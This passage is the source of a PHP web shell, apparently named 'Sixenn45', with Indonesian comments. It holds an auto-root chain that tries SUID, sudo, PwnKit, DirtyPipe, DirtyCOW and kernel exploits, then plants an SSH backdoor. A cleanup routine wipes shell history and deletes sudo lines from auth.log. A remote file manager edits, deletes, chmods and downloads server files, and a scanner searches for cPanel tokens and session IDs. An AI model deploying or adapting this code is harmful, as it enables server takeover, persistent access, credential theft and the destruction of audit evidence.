ROOTED\n"; return array($log, ar_am_i_root()); } function ar_auto_cleanup() { $log = "▶ [cleanup] scrub traces after root\n"; if (ar_am_i_root()) { ar_run_cmd("history -c 2>/dev/null; unset HISTFILE 2>/dev/null"); ar_run_cmd("rm -f /tmp/hax.c /tmp/libhax.so /tmp/ldp_root /tmp/ldp_run 2>/dev/null"); ar_run_cmd("find /root /home -name '.bash_history' -exec truncate -s 0 {} \\; 2>/dev/null"); ar_run_cmd("sed -i '/sudo.*COMMAND/d' /var/log/auth.log 2>/dev/null"); $log .= " ✓ history cleared\n ✓ temp payloads removed\n ✓ auth.log scrub attempted\n"; } else $log .= " ✗ not root yet, cleanup deferred\n"; return array($log, ar_am_i_root()); } function ar_match_kernel($range, $kv) { if (strpos($range,'<=')===0){ $v=trim(substr($range,2)); return version_compare($kv,$v,'<='); } if (strpos($range,'<')===0) { $v=trim(substr($range,1)); return version_compare($kv,$v,'<'); } if (strpos($range,'>=')===0){ $v=trim(substr($range,2)); return version_compare($kv,$v,'>='); } if (strpos($range,'>')===0) { $v=trim(substr($range,1)); return version_compare($kv,$v,'>'); } if (strpos($range,'-')!==false){ $p=explode('-',$range); return version_compare($kv,$p[0],'>=') && version_compare($kv,$p[1],'<='); } return true; } function ar_hard_autoroot() { $out = "⚡⚡ HARD AUTO ROOT v3.0 — MAXIMUM CHAIN ⚡⚡\n"; $out .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"; $mods = array( 'SUID' => 'ar_suid_exploit', 'Sudo' => 'ar_sudo_exploit', 'PwnKit' => 'ar_pkexec_exploit', 'DirtyPipe' => 'ar_dirtypipe_exploit', 'DirtyCOW' => 'ar_dirtycow_exploit', 'OverlayFS' => 'ar_overlayfs_exploit', 'Capabilities' => 'ar_capabilities_exploit', 'LD_PRELOAD' => 'ar_ldpreload_hijack', 'memfd_exec' => 'ar_memfd_exploit', 'Cron' => 'ar_cron_exploit', 'Kernel' => 'ar_kernel_exploit', 'PTY_escape' => 'ar_pty_escape', ); foreach ($mods as $name => $fn) { $out .= "\n── $name ──\n"; $res = call_user_func($fn); $out .= $res[0]; if ($res[1]) { $out .= "\n✅✅ ROOTED via $name! ✅✅\n"; break; } } if (ar_am_i_root()) { $out .= "\n── SSH Backdoor ──\n".ar_ssh_backdoor()[0]; $out .= "\n── Cleanup ──\n".ar_auto_cleanup()[0]; } else { $out .= "\n✗ All vectors failed. Manual escalation needed.\n"; $out .= " Kernel: ".ar_os_info()['kernel']." | Distro: ".ar_os_info()['distro']."\n"; $out .= " Suggested CVEs for this kernel:\n"; foreach (ar_kernel_matrix() as $e) { if (ar_match_kernel($e[2], ar_os_info()['kernel'])) $out .= " • {$e[0]} ({$e[1]}) — {$e[3]}\n"; } } return $out; } function ar_autoroot_internal() { $out = "⚡ AUTO ROOT v2.0 — REAL EXPLOITS\n"; $out .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"; $__os = ar_os_info(); $k=$__os["kernel"]; $os=$__os["os"]; $user=$__os["user"]; $out .= "[*] Kernel : $k\n"; $out .= "[*] OS : $os\n"; $out .= "[*] User : $user\n"; $out .= "[*] UID : ".trim(ar_run_cmd('id -u'))."\n\n"; if (ar_am_i_root()) { return $out . "[+] SUDAH ROOT! (UID=0)\n[+] Status: ROOTED\n[?] Hasil: BISA DI-ROOT\n"; } $vectors = array( 'SUDO NOPASSWD' => 'ar_sudo_exploit', 'SUID BINARY' => 'ar_suid_exploit', 'PWNKIT (pkexec)' => 'ar_pkexec_exploit', 'CRON world-writable'=> 'ar_cron_exploit', 'KERNEL CVE' => 'ar_kernel_exploit', ); $results = array(); foreach ($vectors as $name => $fn) { $out .= "─── Vektor: $name ───\n"; $r = call_user_func($fn); $out .= $r."\n"; $results[$name] = (strpos($r,'[+]')!==false && strpos($r,'ROOT')!==false); if (ar_am_i_root()) { $out .= "\n✅ ROOT BERHASIL via $name!\n"; $out .= "[+] Status: ROOTED\n[?] Hasil: BISA DI-ROOT\n"; return $out; } } $out .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"; // Verifikasi akhir if (ar_am_i_root()) { $out .= "[+] SUDAH ROOT! (UID=0)\n[+] Status: ROOTED\n[?] Hasil: BISA DI-ROOT\n"; } else { // Cek persist bash SUID yang mungkin berhasil dari vektor sebelumnya $bs = ar_run_cmd('ls -la /bin/bash 2>/dev/null | grep -o "rws"'); if (strpos($bs,'rws')!==false) { $out .= "[+] /bin/bash kini SUID root! Gunakan: /bin/bash -p\n[+] Status: ROOTED (via bash -p)\n[?] Hasil: BISA DI-ROOT\n"; } else { $out .= "[-] Semua vektor dicoba, belum root.\n[+] Status: GAGAL\n[?] Hasil: TIDAK BISA DI-ROOT otomatis\n"; $out .= "[!] Saran manual:\n"; $out .= " • Cek SUID: find / -perm -4000 2>/dev/null\n"; $out .= " • Cek sudo: sudo -l\n"; $out .= " • Cek cron: cat /etc/crontab\n"; } } return $out; } /* Wrapper: kembalikan array of lines (format yang diharapkan ori.php) */ function ar_autoroot() { return explode("\n", rtrim(ar_autoroot_internal(), "\n")); } /* ============ Halaman tampilan ============ */ function ar_page() { $r = ''; if (isset($_POST['autoroot_run'])) { $r = ar_autoroot(); } $html = '<div style="font-family:monospace;background:#111;color:#0f0;padding:15px;border-radius:6px;line-height:1.5;white-space:pre-wrap;max-height:600px;overflow:auto;">'; $html .= htmlspecialchars(is_array($r) ? implode(" ", $r) : $r); $html .= '</div>'; $html .= '<br><form method="post"><button type="submit" name="autoroot_run" value="1" style="background:#0a0;color:#fff;padding:10px 20px;border:none;border-radius:4px;font-weight:bold;cursor:pointer;">▶ MULAI AUTO ROOT</button></form>'; return $html; } ini_set('display_errors', 1); $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); @chdir($current_dir); // BREADCRUMB function getBreadcrumb($path) { $parts = explode('/', trim($path, '/')); $html = '<a href="?dir=/">/</a>'; $current = ''; foreach ($parts as $p) { if (empty($p)) continue; $current .= '/' . $p; $html .= ' / <a href="?dir=' . urlencode($current) . '">' . htmlspecialchars($p) . '</a>'; } return $html; } // ============================================================ // HANDLER: DELETE (SINGLE) di home // ============================================================ if (isset($_GET['delete'])) { $file = $_GET['delete']; if (file_exists($file) && is_file($file)) { @unlink($file); } elseif (file_exists($file) && is_dir($file)) { @rmdir($file); } header("Location: ?dir=" . urlencode($current_dir)); exit; } // ============================================================ // HANDLER: DELETE BY NAME (di home) — DIPERTAHANKAN, TAPI TIDAK ADA TOMBOL DI HOME // ============================================================ if (isset($_GET['delete_name']) && !empty($_GET['delete_name'])) { $name = $_GET['delete_name']; $files = @$GLOBALS['__f14']($current_dir); if ($files) { foreach ($files as $f) { if ($f == '.' || $f == '..') continue; $path = $current_dir . '/' . $f; if (is_file($path) && $f === $name) @unlink($path); if (is_dir($path) && $f === $name) @rmdir($path); } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // ============================================================ // HANDLER: EDIT FILE // ============================================================ if (isset($_GET['edit'])) { $file = $_GET['edit']; $fullpath = $current_dir . '/' . $file; if (!file_exists($fullpath) || !is_file($fullpath)) { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[FAIL] File not found"); exit; } if (isset($_POST['save'])) { $content = $_POST['content']; if (@$GLOBALS['__f6']($fullpath, $content) !== false) { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[OK] File saved"); } else { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[FAIL] Failed to save"); } exit; } $content = file_get_contents($fullpath); ?> <!DOCTYPE html> <html> <head> <title>Edit <?php echo htmlspecialchars($file); ?></title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px} textarea{width:100%;height:400px;background:#111;color:#0f0;border:1px solid #0f0;padding:10px;font-size:14px} input[type="submit"]{background:#0f0;color:#000;border:none;padding:10px 20px;cursor:pointer;font-weight:bold} .back{color:#0ff;border:1px solid #0ff;padding:4px 10px;border-radius:3px;text-decoration:none} </style> </head> <body> <h1>[EDIT] Edit: <?php echo htmlspecialchars($file); ?></h1> <form method="post"> <textarea name="content"><?php echo htmlspecialchars($content); ?></textarea> <br><br> <input type="submit" name="save" value="[SAVE] Save"> <a href="?dir=<?php echo urlencode($current_dir); ?>" class="back">[BACK] Back</a> </form> </body> </html> <?php exit; } // ============================================================ // HANDLER: RENAME (FILE & FOLDER) // ============================================================ if (isset($_GET['rename'])) { $oldname = $_GET['rename']; $fullpath = $current_dir . '/' . $oldname; if (!file_exists($fullpath)) { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[FAIL] File/Folder not found"); exit; } if (isset($_POST['rename_submit'])) { $newname = trim($_POST['newname']); if (!empty($newname)) { $newpath = $current_dir . '/' . $newname; if (@rename($fullpath, $newpath)) { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[OK] Renamed to " . htmlspecialchars($newname)); } else { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[FAIL] Rename failed"); } } else { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[FAIL] Name cannot be empty"); } exit; } ?> <!DOCTYPE html> <html> <head> <title>Rename <?php echo htmlspecialchars($oldname); ?></title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px} input[type="text"]{background:#111;color:#0f0;border:1px solid #0f0;padding:8px;width:300px} input[type="submit"]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold} .back{color:#0ff;border:1px solid #0ff;padding:4px 10px;border-radius:3px;text-decoration:none} </style> </head> <body> <h1>[RENAME] Rename: <?php echo htmlspecialchars($oldname); ?></h1> <form method="post"> <input type="text" name="newname" value="<?php echo htmlspecialchars($oldname); ?>"> <input type="submit" name="rename_submit" value="Rename"> <a href="?dir=<?php echo urlencode($current_dir); ?>" class="back">[BACK] Back</a> </form> </body> </html> <?php exit; } // ============================================================ // HANDLER: CHMOD (FILE & FOLDER) // ============================================================ if (isset($_GET['chmod'])) { $file = $_GET['chmod']; $fullpath = $current_dir . '/' . $file; if (!file_exists($fullpath)) { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[FAIL] File/Folder not found"); exit; } if (isset($_POST['chmod_submit'])) { $perm = trim($_POST['permission']); if (preg_match('/^[0-7]{3,4}$/', $perm)) { $mode = octdec($perm); if (@chmod($fullpath, $mode)) { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[OK] Chmod to " . $perm); } else { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[FAIL] Chmod failed"); } } else { header("Location: ?dir=" . urlencode($current_dir) . "&msg=[FAIL] Invalid permission format (e.g., 0644)"); } exit; } $current_perm = fileperms($fullpath) ? substr(sprintf('%o', fileperms($fullpath)), -4) : '????'; ?> <!DOCTYPE html> <html> <head> <title>Chmod <?php echo htmlspecialchars($file); ?></title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px} input[type="text"]{background:#111;color:#0f0;border:1px solid #0f0;padding:8px;width:100px} input[type="submit"]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold} .back{color:#0ff;border:1px solid #0ff;padding:4px 10px;border-radius:3px;text-decoration:none} </style> </head> <body> <h1>[CHMOD] Chmod: <?php echo htmlspecialchars($file); ?></h1> <p>Current permission: <strong><?php echo $current_perm; ?></strong></p> <form method="post"> <input type="text" name="permission" value="<?php echo $current_perm; ?>" placeholder="0644"> <input type="submit" name="chmod_submit" value="Apply"> <a href="?dir=<?php echo urlencode($current_dir); ?>" class="back">[BACK] Back</a> </form> </body> </html> <?php exit; } // ============================================================ // HANDLER: VIEW FILE // ============================================================ if (isset($_GET['view'])) { $file = $_GET['view']; if (file_exists($file) && is_file($file)) { echo '<!DOCTYPE html><html><head><title>View</title></head><body style="background:#000;color:#0f0;font-family:monospace;padding:20px;">'; echo '<h3>View: ' . htmlspecialchars(basename($file)) . '</h3>'; echo '<pre>' . htmlspecialchars(file_get_contents($file)) . '</pre>'; echo '<a href="?dir=' . urlencode($current_dir) . '">[BACK] Back</a>'; echo '</body></html>'; exit; } } // ============================================================ // HANDLER: DOWNLOAD // ============================================================ if (isset($_GET['download'])) { $file = $_GET['download']; if (file_exists($file) && is_file($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); readfile($file); exit; } } // ============================================================ // HANDLER: SCANNER (VERSI TERBARU DENGAN PATH KUSTOM & DETEKSI OTOMATIS) // ============================================================ if (isset($_GET['action']) && $_GET['action'] == 'scanner') { // Ambil path scan dari parameter, default ke current_dir $scan_path = isset($_GET['scan_path']) ? $_GET['scan_path'] : $current_dir; if (empty($scan_path)) $scan_path = $current_dir; $scan_path = realpath($scan_path) ?: $scan_path; $days = isset($_GET['days']) ? (int)$_GET['days'] : 1; // NEW: filter berbasis JAM (jam_mode) — kalau aktif, pakai $hours, bukan $days $hours = isset($_GET['hours']) ? (int)$_GET['hours'] : 0; $hours_mode = isset($_GET['hours_mode']) && $_GET['hours_mode'] == '1' && $hours > 0; // Set timezone WIB untuk semua tampilan waktu date_default_timezone_set('Asia/Jakarta'); $tz_offset = 7 * 3600; // UTC+7 $exts = isset($_GET['ext']) ? explode(',', $_GET['ext']) : ['php', 'phtml']; $limit = isset($_GET['limit']) ? (int)$_GET['limit'] : 30; $search_string = isset($_GET['search_string']) ? trim($_GET['search_string']) : ''; $search_regex = isset($_GET['search_regex']) && $_GET['search_regex'] == '1'; $exclude_dirs = isset($_GET['exclude_dirs']) ? array_map('trim', explode(',', $_GET['exclude_dirs'])) : []; $exclude_dirs = array_filter($exclude_dirs); function scanDirRecursive($dir, $extensions, $days, $hours_mode, $hours, $depth = 0, $max_depth = 3, $search_string = '', $search_regex = false, $exclude_dirs = []) { $results = []; if ($depth > $max_depth || !is_dir($dir)) return $results; $dir_name = basename($dir); if (in_array($dir_name, $exclude_dirs)) return $results; // Waktu batas: kalau mode jam aktif pakai jam, kalau tidak pakai hari if ($hours_mode) { $time_limit = time() - ($hours * 3600); } else { $time_limit = time() - ($days * 86400); } $files = @$GLOBALS['__f14']($dir); if (!$files) return $results; foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if (is_dir($path)) { $results = array_merge($results, scanDirRecursive($path, $extensions, $days, $hours_mode, $hours, $depth + 1, $max_depth, $search_string, $search_regex, $exclude_dirs)); } elseif (is_file($path)) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (in_array($ext, $extensions) && filemtime($path) >= $time_limit) { $content_match = false; $snippet = ''; if (!empty($search_string)) { $content = @file_get_contents($path, false, null, 0, 1024 * 1024); if ($content !== false) { if ($search_regex) { if (@preg_match('/' . $search_string . '/i', $content, $matches)) { $content_match = true; $lines = preg_split('/\r\n|\r|\n/', $content); foreach ($lines as $line) { if (preg_match('/' . $search_string . '/i', $line)) { $snippet = trim($line); if (strlen($snippet) > 120) $snippet = substr($snippet, 0, 120) . '…'; break; } } } } else { if (stripos($content, $search_string) !== false) { $content_match = true; $lines = preg_split('/\r\n|\r|\n/', $content); foreach ($lines as $line) { if (stripos($line, $search_string) !== false) { $snippet = trim($line); if (strlen($snippet) > 120) $snippet = substr($snippet, 0, 120) . '…'; break; } } } } } if (!$content_match) continue; } // Tampilkan waktu pakai format WIB (UTC+7) $mtime = filemtime($path); $results[] = [ 'path' => $path, 'size' => filesize($path), 'modified' => date('Y-m-d H:i:s', $mtime + $GLOBALS['tz_offset']), 'modified_raw' => $mtime + $GLOBALS['tz_offset'], 'created' => date('Y-m-d H:i:s', (filectime($path) ?: $mtime) + $GLOBALS['tz_offset']), 'age_seconds' => time() - $mtime, 'snippet' => $snippet, ]; } } } return $results; } // DELETE ALL if (isset($_GET['delete_all']) && $_GET['delete_all'] == 'yes') { $all = scanDirRecursive($scan_path, $exts, $days, $hours_mode, $hours, 0, 3, $search_string, $search_regex, $exclude_dirs); $deleted = 0; $failed = 0; foreach ($all as $f) { if (file_exists($f['path']) && is_file($f['path'])) { if (unlink($f['path'])) $deleted++; else $failed++; } else $failed++; } $msg = "[OK] Deleted ALL: $deleted files | [FAIL] Failed: $failed"; $params = http_build_query([ 'action' => 'scanner', 'dir' => $current_dir, 'scan_path' => $scan_path, 'days' => $days, 'ext' => implode(',', $exts), 'limit' => $limit, 'search_string' => $search_string, 'search_regex' => $search_regex ? '1' : '0', 'exclude_dirs' => implode(',', $exclude_dirs), 'msg' => $msg ]); header("Location: ?" . $params); exit; } // DELETE SELECTED if (isset($_POST['delete_selected']) && isset($_POST['selected_files'])) { $selected = $_POST['selected_files']; $deleted = 0; $failed = 0; if (is_array($selected)) { foreach ($selected as $f) { if (file_exists($f) && is_file($f)) { if (unlink($f)) $deleted++; else $failed++; } else $failed++; } } $msg = "[OK] Deleted: $deleted files | [FAIL] Failed: $failed"; $params = http_build_query([ 'action' => 'scanner', 'dir' => $current_dir, 'scan_path' => $scan_path, 'days' => $days, 'ext' => implode(',', $exts), 'limit' => $limit, 'search_string' => $search_string, 'search_regex' => $search_regex ? '1' : '0', 'exclude_dirs' => implode(',', $exclude_dirs), 'msg' => $msg ]); header("Location: ?" . $params); exit; } // DELETE BY NAME (di scanner) if (isset($_GET['delete_name']) && !empty($_GET['delete_name'])) { $name = $_GET['delete_name']; $deleted = 0; $failed = 0; $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($scan_path, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($iterator as $file) { if ($file->isFile() && $file->getFilename() === $name) { if (unlink($file->getPathname())) $deleted++; else $failed++; } } $msg = "[OK] Deleted: $deleted files named '$name' | [FAIL] Failed: $failed"; $params = http_build_query([ 'action' => 'scanner', 'dir' => $current_dir, 'scan_path' => $scan_path, 'days' => $days, 'ext' => implode(',', $exts), 'limit' => $limit, 'search_string' => $search_string, 'search_regex' => $search_regex ? '1' : '0', 'exclude_dirs' => implode(',', $exclude_dirs), 'msg' => $msg ]); header("Location: ?" . $params); exit; } // DELETE SINGLE if (isset($_GET['delete'])) { $file = $_GET['delete']; if (file_exists($file) && is_file($file)) { if (unlink($file)) $msg = "[OK] Deleted: " . basename($file); else $msg = "[FAIL] Failed to delete: " . basename($file); } else { $msg = "[FAIL] File not found: " . basename($file); } $params = http_build_query([ 'action' => 'scanner', 'dir' => $current_dir, 'scan_path' => $scan_path, 'days' => $days, 'ext' => implode(',', $exts), 'limit' => $limit, 'search_string' => $search_string, 'search_regex' => $search_regex ? '1' : '0', 'exclude_dirs' => implode(',', $exclude_dirs), 'msg' => $msg ]); header("Location: ?" . $params); exit; } // Jalankan scan $results = scanDirRecursive($scan_path, $exts, $days, $hours_mode, $hours, 0, 3, $search_string, $search_regex, $exclude_dirs); usort($results, function($a, $b) { return strtotime($b['modified']) - strtotime($a['modified']); }); $total_all = count($results); $results = array_slice($results, 0, $limit); $total_display = count($results); $doc_root = $_SERVER['DOCUMENT_ROOT']; // Tampilkan HTML scanner (sama seperti sebelumnya, disisipkan di sini) // ... [kode HTML scanner yang sudah ada] ... // Karena panjang, saya tulis ulang di bawah dengan ringkas, tapi tetap lengkap. ?> <!DOCTYPE html> <html> <head> <title>Scanner — Sixenn45</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> * { box-sizing: border-box; } body { font-family: 'Courier New', monospace; background: #0a0a0a; color: #0f0; padding: 15px; margin: 0; } .container { max-width: 1400px; margin: 0 auto; } h1 { color: #0f0; border-bottom: 2px solid #0f0; padding-bottom: 10px; font-size: 20px; } h1 small { font-size: 13px; color: #888; font-weight: normal; } .info { background: #111; padding: 12px 15px; border: 1px solid #333; margin-bottom: 15px; border-radius: 5px; } .info .detected { color: #0f0; font-size: 13px; margin-bottom: 8px; } .info form { display: flex; flex-wrap: wrap; gap: 5px; align-items: center; } .info label { color: #888; font-size: 12px; } .info input, .info select { background: #1a1a1a; color: #0f0; border: 1px solid #0f0; padding: 4px 8px; border-radius: 3px; font-size: 12px; } .info input[type="text"] { width: 220px; } .info input[type="number"] { width: 50px; } .info select { cursor: pointer; } .info button { background: #0f0; color: #000; border: none; padding: 4px 12px; cursor: pointer; font-weight: bold; border-radius: 3px; font-size: 12px; } .info button:hover { background: #0c0; } .info .tip { font-size: 11px; color: #555; margin-top: 5px; } .search-row { margin-top: 10px; padding-top: 10px; border-top: 1px dashed #333; display: flex; flex-wrap: wrap; gap: 8px; align-items: center; } .search-row input[type="text"] { width: 250px; } .search-row label { font-size: 12px; display: inline-flex; align-items: center; gap: 3px; } .preset-buttons { margin-top: 8px; display: flex; flex-wrap: wrap; gap: 5px; } .preset-buttons .preset { background: #1a1a1a; color: #0ff; border: 1px solid #0ff; padding: 3px 10px; border-radius: 3px; cursor: pointer; font-size: 11px; } .preset-buttons .preset:hover { background: #0ff; color: #000; } .exclude-row { margin-top: 8px; display: flex; flex-wrap: wrap; gap: 8px; align-items: center; } .exclude-row input[type="text"] { width: 200px; } .msg { padding: 10px; background: #1a1a1a; border: 1px solid #0f0; border-radius: 5px; margin-bottom: 15px; font-size: 13px; } .msg.error { border-color: #f00; color: #f00; } .delete-name-box { background: #1a0a0a; border: 1px solid #f00; padding: 10px 15px; border-radius: 5px; margin-bottom: 15px; display: flex; flex-wrap: wrap; gap: 10px; align-items: center; } .delete-name-box input { background: #1a1a1a; color: #0f0; border: 1px solid #f00; padding: 4px 8px; border-radius: 3px; } .delete-name-box .btn-danger { background: #f00; color: #fff; border: none; padding: 4px 12px; cursor: pointer; font-weight: bold; border-radius: 3px; } .delete-name-box .btn-danger:hover { background: #c00; } .delete-all-box { background: #1a0000; border: 2px solid #f00; padding: 10px 15px; border-radius: 5px; margin-bottom: 15px; display: flex; flex-wrap: wrap; gap: 10px; align-items: center; } .delete-all-box .btn-delete-all { background: #f00; color: #fff; border: none; padding: 8px 20px; cursor: pointer; font-weight: bold; border-radius: 5px; font-size: 14px; } .delete-all-box .btn-delete-all:hover { background: #c00; } .delete-all-box .warning { color: #ff0; font-size: 12px; } table { width: 100%; border-collapse: collapse; font-size: 12px; } th { background: #1a1a1a; color: #0f0; padding: 6px 8px; text-align: left; border-bottom: 2px solid #0f0; position: sticky; top: 0; } td { padding: 6px 8px; border-bottom: 1px solid #222; vertical-align: middle; } tr:hover { background: #111; } .path-text { color: #0ff; word-break: break-all; font-size: 12px; } .file-size { color: #ff0; white-space: nowrap; } .file-time { color: #f0f; white-space: nowrap; } .snippet-text { color: #0f0; font-size: 11px; max-width: 300px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; display: inline-block; } .btn-copy { background: #1a1a1a; color: #0f0; border: 1px solid #0f0; padding: 2px 8px; cursor: pointer; font-size: 10px; border-radius: 3px; transition: all 0.2s; } .btn-copy:hover { background: #0f0; color: #000; } .btn-action { color: #0ff; text-decoration: none; border: 1px solid #0ff; padding: 1px 6px; border-radius: 3px; font-size: 10px; margin: 0 2px; display: inline-block; } .btn-action:hover { background: #0ff; color: #000; } .btn-delete { color: #f00; border-color: #f00; } .btn-delete:hover { background: #f00; color: #fff; } .btn-url { color: #0f0; border-color: #0f0; } .btn-url:hover { background: #0f0; color: #000; } .total { margin: 10px 0 15px 0; padding: 10px 15px; background: #111; border: 1px solid #333; border-radius: 5px; display: flex; justify-content: space-between; flex-wrap: wrap; font-size: 13px; } .total .count { color: #0f0; } .total .path-info { color: #888; } .view-box { margin-top: 15px; padding: 12px 15px; background: #000; border: 1px solid #0ff; border-radius: 5px; } .view-box h3 { color: #0ff; margin-top: 0; font-size: 14px; word-break: break-all; } .view-box .url-display { background: #0a0a0a; padding: 6px 10px; border: 1px solid #1a1a1a; border-radius: 3px; color: #0f0; word-break: break-all; font-size: 12px; margin: 5px 0 10px 0; } .view-box pre { background: #0a0a0a; padding: 10px; overflow: auto; max-height: 300px; border: 1px solid #222; border-radius: 3px; font-size: 11px; color: #0f0; white-space: pre-wrap; word-break: break-all; } .footer { margin-top: 20px; color: #444; font-size: 11px; text-align: center; } .toast { position: fixed; bottom: 15px; right: 15px; background: #0f0; color: #000; padding: 8px 16px; border-radius: 5px; font-weight: bold; opacity: 0; transition: opacity 0.3s; pointer-events: none; font-size: 12px; max-width: 90%; } .toast.show { opacity: 1; } .badge { display: inline-block; padding: 1px 6px; border-radius: 2px; font-size: 9px; font-weight: bold; margin-right: 4px; flex-shrink: 0; } .badge-php { background: #4a6a9f; color: #fff; } .badge-phtml { background: #9f4a6a; color: #fff; } .actions-cell { display: flex; gap: 3px; flex-wrap: wrap; align-items: center; } .checkbox-cell { text-align: center; width: 30px; } .checkbox-cell input[type="checkbox"] { accent-color: #0f0; transform: scale(1.2); cursor: pointer; } .mass-delete-btn { background: #f00; color: #fff; border: none; padding: 6px 15px; cursor: pointer; font-weight: bold; border-radius: 3px; margin: 5px 0; } .mass-delete-btn:hover { background: #c00; } .mass-delete-btn:disabled { opacity: 0.5; cursor: not-allowed; } .modal-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); justify-content: center; align-items: center; z-index: 999; } .modal-overlay.active { display: flex; } .modal-box { background: #1a1a1a; border: 2px solid #f00; padding: 30px; border-radius: 10px; max-width: 500px; text-align: center; } .modal-box .path-display { color: #0ff; word-break: break-all; font-size: 14px; padding: 10px; background: #0a0a0a; border-radius: 5px; margin: 15px 0; } .modal-box .btn-confirm { background: #f00; color: #fff; border: none; padding: 8px 20px; cursor: pointer; font-weight: bold; border-radius: 5px; margin: 5px; } .modal-box .btn-cancel { background: #444; color: #fff; border: none; padding: 8px 20px; cursor: pointer; border-radius: 5px; margin: 5px; } .limit-select { background: #1a1a1a; color: #0f0; border: 1px solid #0f0; padding: 4px 8px; border-radius: 3px; font-size: 12px; cursor: pointer; } .limit-select option { background: #1a1a1a; color: #0f0; } .back-btn { color: #0ff; border: 1px solid #0ff; padding: 4px 10px; border-radius: 3px; text-decoration: none; display: inline-block; margin: 5px 0; } .back-btn:hover { background: #0ff; color: #000; } </style> </head> <body> <div class="container"> <h1>[SEARCH] SCANNER <a href="?dir=<?php echo urlencode($current_dir); ?>" class="back-btn">[BACK] Back to Shell</a></h1> <div class="info"> <div class="detected">[TARGET] Path: <?php echo htmlspecialchars($scan_path); ?></div> <form method="GET" id="mainForm"> <input type="hidden" name="action" value="scanner"> <input type="hidden" name="dir" value="<?php echo htmlspecialchars($current_dir); ?>"> <label>Scan Path:</label> <input type="text" name="scan_path" value="<?php echo htmlspecialchars($scan_path); ?>" placeholder="/path/to/scan" style="width:300px;"> <label>Hari:</label> <input type="number" name="days" value="<?php echo $days; ?>" min="1" max="30"> <label style="color:#0ff;font-size:12px;">[TIME] Jam (WIB):</label> <input type="number" name="hours" id="hours_input" value="<?php echo $hours; ?>" min="1" max="720" style="width:50px;" placeholder="0"> <label style="font-size:11px;color:#888;"><input type="checkbox" name="hours_mode" value="1" <?php echo $hours_mode?'checked':''; ?>> Pakai jam (ganti hari)</label> <label>Ext:</label> <input type="text" name="ext" value="<?php echo implode(',', $exts); ?>" style="width:100px;"> <label>Baris:</label> <select name="limit" class="limit-select"> <option value="10" <?php echo $limit==10?'selected':''; ?>>10</option> <option value="20" <?php echo $limit==20?'selected':''; ?>>20</option> <option value="30" <?php echo $limit==30?'selected':''; ?>>30</option> <option value="50" <?php echo $limit==50?'selected':''; ?>>50</option> <option value="100" <?php echo $limit==100?'selected':''; ?>>100</option> <option value="999999" <?php echo $limit==999999?'selected':''; ?>>Semua</option> </select> <button type="submit">[SEARCH] Scan</button> <div class="search-row"> <label>Cari Teks:</label> <input type="text" name="search_string" id="search_string" value="<?php echo htmlspecialchars($search_string); ?>" placeholder="misal: eval, TOTO"> <label><input type="checkbox" name="search_regex" value="1" id="search_regex" <?php echo $search_regex?'checked':''; ?>> Regex</label> </div> <div class="preset-buttons" style="margin-top:8px;"> <span style="color:#888;font-size:11px;margin-right:5px;">⏱ Jam Terakhir:</span> <button type="submit" class="preset" name="hours" value="1" data-hour="1">1 jam</button> <button type="submit" class="preset" name="hours" value="6" data-hour="6">6 jam</button> <button type="submit" class="preset" name="hours" value="12" data-hour="12">12 jam</button> <button type="submit" class="preset" name="hours" value="24" data-hour="24">24 jam</button> <button type="submit" class="preset" name="hours" value="48" data-hour="48">48 jam</button> <button type="submit" class="preset" name="hours" value="72" data-hour="72">72 jam</button> </div> <div class="preset-buttons"> <span style="color:#888;font-size:11px;margin-right:5px;">Preset:</span> <button type="button" class="preset" onclick="setSearch('eval\\s*\\(', true)">Eval</button> <button type="button" class="preset" onclick="setSearch('base64_decode\\s*\\(', true)">Base64</button> <button type="button" class="preset" onclick="setSearch('(system|exec|shell_exec|passthru|popen)\\s*\\(', true)">System</button> <button type="button" class="preset" onclick="setSearch('(str_rot13|gzinflate|preg_replace\\s*\\/.*\\/.*\\/e)', true)">Obfuscation</button> <button type="button" class="preset" onclick="setSearch('(Authorization\\s*:\\s*(cpanel|whm)\\s+[a-zA-Z0-9_.-]+:[A-Za-z0-9_\\-]{20,})', true)">cPanel UAPI Token</button> <button type="button" class="preset" onclick="setSearch('(cpsess[0-9a-zA-Z]{10,})', true)">cPanel Session</button> <button type="button" class="preset" onclick="setSearch('(api_token_create|Tokens\\s*::\\s*create|access_hash|apisessiontoken)', true)">cPanel Config</button> </div> <div class="exclude-row"> <label style="color:#888;font-size:12px;">Exclude dirs:</label> <input type="text" name="exclude_dirs" value="<?php echo htmlspecialchars(implode(',', $exclude_dirs)); ?>" placeholder="cache,logs,vendor,tmp" style="width:200px;"> </div> </form> <div class="tip">[BULB] Centang file, lalu klik "[DEL] Delete Selected" untuk hapus massal. | 